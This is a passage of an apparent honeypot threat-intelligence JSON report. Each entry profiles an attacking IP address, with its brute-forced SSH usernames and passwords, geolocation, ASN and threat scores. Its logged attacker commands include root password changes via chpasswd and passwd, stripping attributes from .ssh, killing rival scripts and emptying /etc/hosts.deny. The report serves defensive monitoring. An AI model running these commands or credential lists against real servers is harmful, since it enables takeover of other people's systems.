        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:45.800000+00:00",
        "last_seen_30d": "2026-03-06T08:01:25.139000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 37
      }
    },
    "209.97.169.68": {
      "attack_count": 124,
      "first_seen": "2026-03-12T03:41:51.434Z",
      "last_seen": "2026-03-12T04:03:52.835Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "splunk",
        "345gs5662d34",
        "abe",
        "claude",
        "comunicacao",
        "ftpupload",
        "kjh",
        "m",
        "mohsen",
        "root",
        "shadow",
        "webftp"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwerty1234",
        "abepass",
        "claude123",
        "comunicacao123",
        "ftpuploadpass",
        "m123!",
        "mohsenpass",
        "shadow",
        "splunk123",
        "webftppass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"splunk123\\naweqLc0Uf8cn\\naweqLc0Uf8cn\\n\"|passwd",
        "echo -e \"splunk123\\naweqLc0Uf8cn\\naweqLc0Uf8cn\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T03:41:51.434000+00:00",
        "last_seen_30d": "2026-03-12T04:05:02.243000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "103.86.198.162": {
      "attack_count": 123,
      "first_seen": "2026-03-04T04:45:22.367Z",
      "last_seen": "2026-03-04T05:13:37.922Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123123123a",
        "3245gs5662d34",
        "345gs5662d34",
        "A1q2w3e4r",
        "Bingo@1993",
        "Hs123456",
        "Paris2024",
        "Password123@",
        "bitnami",
        "hnidc888cn!@#",
        "ronaldo2",
        "root1234@",
        "sakura"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:8gfF87qPSMJT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 18109,
      "as_org": "MAISHA NET",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T04:45:22.367000+00:00",
        "last_seen_30d": "2026-03-04T05:14:41.944000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "181.80.23.205": {
      "attack_count": 119,
      "first_seen": "2026-03-07T14:00:41.604Z",
      "last_seen": "2026-03-07T14:24:45.049Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "nexus",
        "345gs5662d34",
        "atlas",
        "developer",
        "kapsch",
        "mohammad",
        "root",
        "testmail",
        "toro",
        "vicente",
        "webserver"
      ],
      "passwords_attempted": [
        "100",
        "123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "kapsch123!",
        "nexus123!",
        "password",
        "toro1234",
        "vicente",
        "webserverpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"nexus123!\\nY21afPWuJB2R\\nY21afPWuJB2R\\n\"|passwd",
        "echo -e \"nexus123!\\nY21afPWuJB2R\\nY21afPWuJB2R\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Goya",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:00:41.604000+00:00",
        "last_seen_30d": "2026-03-07T14:25:51.423000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "91.107.159.175": {
      "attack_count": 119,
      "first_seen": "2026-03-21T18:17:06.872Z",
      "last_seen": "2026-03-21T18:32:47.058Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "vpnbot",
        "345gs5662d34",
        "crawl",
        "innova",
        "jboss",
        "jwlee",
        "krishna",
        "ks",
        "lee",
        "service",
        "test2"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "crawl",
        "innova1234",
        "jbosspass",
        "jwlee123!",
        "krishna123!",
        "password",
        "test2123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nrZaY2ERqiHOG\\nrZaY2ERqiHOG\\n\"|passwd",
        "echo -e \"123\\nrZaY2ERqiHOG\\nrZaY2ERqiHOG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T18:17:06.872000+00:00",
        "last_seen_30d": "2026-03-21T18:33:51.707000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 27
      }
    },
    "188.166.243.202": {
      "attack_count": 118,
      "first_seen": "2026-03-02T02:50:20.660Z",
      "last_seen": "2026-03-02T03:16:16.813Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0000000000",
        "12345@12345",
        "123@qweASD",
        "1qaz!QAZ1qaz",
        "22",
        "3245gs5662d34",
        "345gs5662d34",
        "AAA111aaa",
        "Admin123123",
        "H",
        "Master@2025",
        "qQ123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ZM2nvPXcNewi\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:50:20.660000+00:00",
        "last_seen_30d": "2026-03-02T03:17:20.233000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "89.190.156.125": {
      "attack_count": 118,
      "first_seen": "2026-03-31T15:35:52.478Z",
      "last_seen": "2026-03-31T16:00:22.186Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456@abcd",
        "1q2w3e4r..",
        "2022.com.cn",
        "3245gs5662d34",
        "345gs5662d34",
        "Anxinyun@1",
        "QAZwsx123!",
        "Qwertyuiop123",
        "Zxc12345",
        "china35.cn",
        "qywl.com",
        "zhenru1234567890"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ersvW7aaDfxd\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:35:52.478000+00:00",
        "last_seen_30d": "2026-03-31T16:01:30.176000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "109.107.166.19": {
      "attack_count": 109,
      "first_seen": "2026-03-11T19:13:33.478Z",
      "last_seen": "2026-03-11T19:38:56.770Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "peertube",
        "345gs5662d34",
        "aman",
        "claude",
        "frontend",
        "toni"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Toni123!",
        "Woaini123.",
        "abc123456",
        "claude123",
        "peertube",
        "ubuntu@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"peertube\\n3JlGVEqN7RSQ\\n3JlGVEqN7RSQ\\n\"|passwd",
        "echo -e \"peertube\\n3JlGVEqN7RSQ\\n3JlGVEqN7RSQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 216071,
      "as_org": "Servers Tech Fzco",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T19:13:33.478000+00:00",
        "last_seen_30d": "2026-03-11T19:40:02.165000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 24
      }
    },
    "101.47.135.95": {
      "attack_count": 104,
      "first_seen": "2026-03-07T12:45:08.097Z",
      "last_seen": "2026-03-07T13:21:25.142Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bryan",
        "in",
        "joshua",
        "mo",
        "pepe",
        "salman",
        "su",
        "zzy"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "345gs5662d34",
        "Su123",
        "pepe1234",
        "zzy1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"pepe1234\\nqH8VntuVT4Ny\\nqH8VntuVT4Ny\\n\"|passwd",
        "echo -e \"pepe1234\\nqH8VntuVT4Ny\\nqH8VntuVT4Ny\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T12:45:08.097000+00:00",
        "last_seen_30d": "2026-03-07T13:22:26.249000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 23
      }
    },
    "209.38.101.218": {
      "attack_count": 75,
      "first_seen": "2026-03-12T15:40:51.535Z",
      "last_seen": "2026-03-12T16:18:16.872Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "solv",
        "node",
        "ubuntu",
        "validator"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "321",
        "node",
        "sol",
        "sol123",
        "sol321",
        "sol@123",
        "solana",
        "solana123",
        "solana@123",
        "solv",
        "ubuntu",
        "validator"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T15:38:19.894000+00:00",
        "last_seen_30d": "2026-03-12T16:19:21.350000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 38
      }
    },
    "167.99.35.145": {
      "attack_count": 66,
      "first_seen": "2026-03-02T22:56:04.089Z",
      "last_seen": "2026-03-02T23:02:23.363Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T22:56:04.089000+00:00",
        "last_seen_30d": "2026-03-02T23:03:31.850000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 21
      }
    },
    "180.76.236.214": {
      "attack_count": 66,
      "first_seen": "2026-03-02T05:23:58.400Z",
      "last_seen": "2026-03-07T06:19:33.269Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "hsadmin",
        "kibana",
        "online",
        "sim",
        "soporte"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "2wsx#EDC$RFV",
        "31415926",
        "Passw0rd@123",
        "QWEqwe123456",
        "Yk123456",
        "online",
        "password",
        "simpass",
        "zzz"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.log.closed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:23:58.400000+00:00",
        "last_seen_30d": "2026-03-07T06:25:30.516000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 39
      }
    },
    "103.72.8.203": {
      "attack_count": 50,
      "first_seen": "2026-03-17T16:26:00.877Z",
      "last_seen": "2026-03-17T16:31:25.274Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 151729,
      "as_org": "SWIFTIFY PRIVATE LIMITED",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T16:26:00.877000+00:00",
        "last_seen_30d": "2026-03-17T16:32:29.309000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "110.38.217.97": {
      "attack_count": 50,
      "first_seen": "2026-03-26T22:32:13.969Z",
      "last_seen": "2026-03-26T22:37:38.488Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T22:32:13.969000+00:00",
        "last_seen_30d": "2026-03-26T22:38:39.765000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "83.142.209.8": {
      "attack_count": 49,
      "first_seen": "2026-03-03T13:17:01.374Z",
      "last_seen": "2026-03-15T07:02:14.281Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "router",
        "squid",
        "usuario"
      ],
      "passwords_attempted": [
        "root",
        "1qaz@WSX",
        "951951951",
        "admin",
        "admin!@#",
        "squid"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1793,
        "days_active_30d": 30,
        "ports_targeted_30d": 175,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T22:50:06+00:00",
        "last_seen_30d": "2026-03-31T17:24:02.699000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1367,
        "Honeytrap": 377,
        "Cowrie": 49
      }
    },
    "139.135.42.16": {
      "attack_count": 48,
      "first_seen": "2026-03-20T04:08:39.271Z",
      "last_seen": "2026-03-20T04:13:50.676Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T04:08:39.271000+00:00",
        "last_seen_30d": "2026-03-20T04:15:00.903000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "162.240.169.58": {
      "attack_count": 35,
      "first_seen": "2026-03-06T05:35:30.060Z",
      "last_seen": "2026-03-09T05:04:46.564Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "adminKelltech",
        "adminKelltech123",
        "adminKelltech2025",
        "adminKelltech2026",
